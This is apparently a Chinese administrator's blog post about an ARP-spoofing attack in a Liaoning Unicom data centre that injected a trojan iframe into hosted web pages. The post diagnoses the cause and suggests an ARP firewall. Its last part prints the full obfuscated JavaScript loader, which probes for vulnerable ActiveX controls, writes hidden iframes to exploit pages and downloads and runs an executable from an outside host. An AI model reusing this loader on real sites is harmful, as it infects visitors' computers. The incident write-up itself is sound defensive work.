从昨天下午开始，位于辽宁联通的部分服务器上的所有站点对ＷＥＢ的请求都被强行加上一个iframe，网友访问这些站点时，获得的html源代码的顶端都会有以下一行代码。
<iframe src="http://www.jtxp.net/mm/p682.htm" width="100" height="0"></iframe>
这一代码中有木马，对访问者非常不利！
其最终的木马执行代码可以追溯到http://www.jtxp.net/hi.htm（代码见最后面）等页面。
昨天晚上刚遇到这一问题时，
我初步认为可能有两种情况：
１．站点源文件被改；
２．ＩＩＳ被修改
我首先看了站点的源文件，发现并未被篡改；我转而查看ＩＩＳ相关配置并到追踪这一问题未果，再到C:\WINDOWS\system32\inetsrv\MetaBase.xml中查找jtxp相关信息，也没有。我再检查了服务器有没有可疑的服务程序和进程，也没有。再对端口和系统帐号进行了检查，还是没有问题。我已经完全没有思路和办法了。在服务器的安全上第一次感到了如此的无力和无助。在网上也没有找到可供参考的相关解决办法。晚上解决未果。入睡时我想，难道是网通的ＡＳＤＬ路由（我上网的线路是网通的）被劫持强行加上这一数据了？
早上早早起来。从5:30开始，再次对服务器进行全面检查。还是没有问题。6:00的时候，我发现另一台服务器也出现类似问题。从而开始怀疑机房。后来一检查，发现果然是联通机房局域网内有网关欺骗。并通过网关欺骗劫持了网内服务器的ＷＥＢ请求数据包，加上以上代码。确查攻击源的MAC为:00-1C-F0-0D-23-CD
服务器上安装ARP防火墙后即可解决这一个问题。不过要从根源上解决，还需要联通机房的加强管理。
通过这种方式来传播病毒，的确很可怕。
<script>window.onerror=function(){return true;}</script>
<SCRIPT LANGUAGE="JavaScript">
if(document.cookie.indexOf('OK')==-1){try{var e;var ado=(document.createElement("object"));ado.setAttribute("\x63\x6c\x61\x73\x73\x69\x64","\x63\x6c\x73\x69\x64\x3a\x42\x44\x39\x36\x43\x35\x35\x36\x2d\x36\x35\x41\x33\x2d\x31\x31\x44\x30\x2d\x39\x38\x33\x41\x2d\x30\x30\x43\x30\x34\x46\x43\x32\x39\x45\x33\x36");var as=ado.createobject("\x41\x64\x6f\x64\x62\x2e\x53\x74\x72\x65\x61\x6d","")}catch(e){};finally{var expires=new Date();expires.setTime(expires.getTime()+24*60*60*1000);document.cookie='OK=Yes;path=/;expires='+expires.toGMTString();if(e!="[object Error]"){document.write('<iframe style=display:none src="http://www.52gol.com/ms.htm"></iframe>')}else{try{var f;var storm=new ActiveXObject("IERPCtl.IERPCtl.1")}catch(f){};finally{if(f!="[object Error]"){document.write('<iframe style=display:none src="http://www.52gol.com/real.htm"></iframe>')}}try{var h;var yahoo=new ActiveXObject("GLCHAT.GLChatCtrl.1")}catch(h){};finally{if(h!="[object Error]"){document.write('<iframe style=display:none src="http://www.52gol.com/ms1.htm"></iframe>')}}try{var k;var Fuck=new ActiveXObject("BaiduBar.Tool")}catch(k){};finally{if(k!="[object Error]"){Fuck["\x44\x6c\x6f\x61\x64\x44\x53"]("http://www.52gol.com/baidu.cab","\x42\x61\x69\x64\x75\x2e\x65\x78\x65",0)}}if(f=="[object Error]"&&h=="[object Error]"&&k=="[object Error]"){location.replace("about:blank")}}}}
</SCRIPT>
其中的JS脚本都使用了unicode或是16进制的编码。iframe的页面也很多。早上就要出去了，有时间的时候，再解码吧。
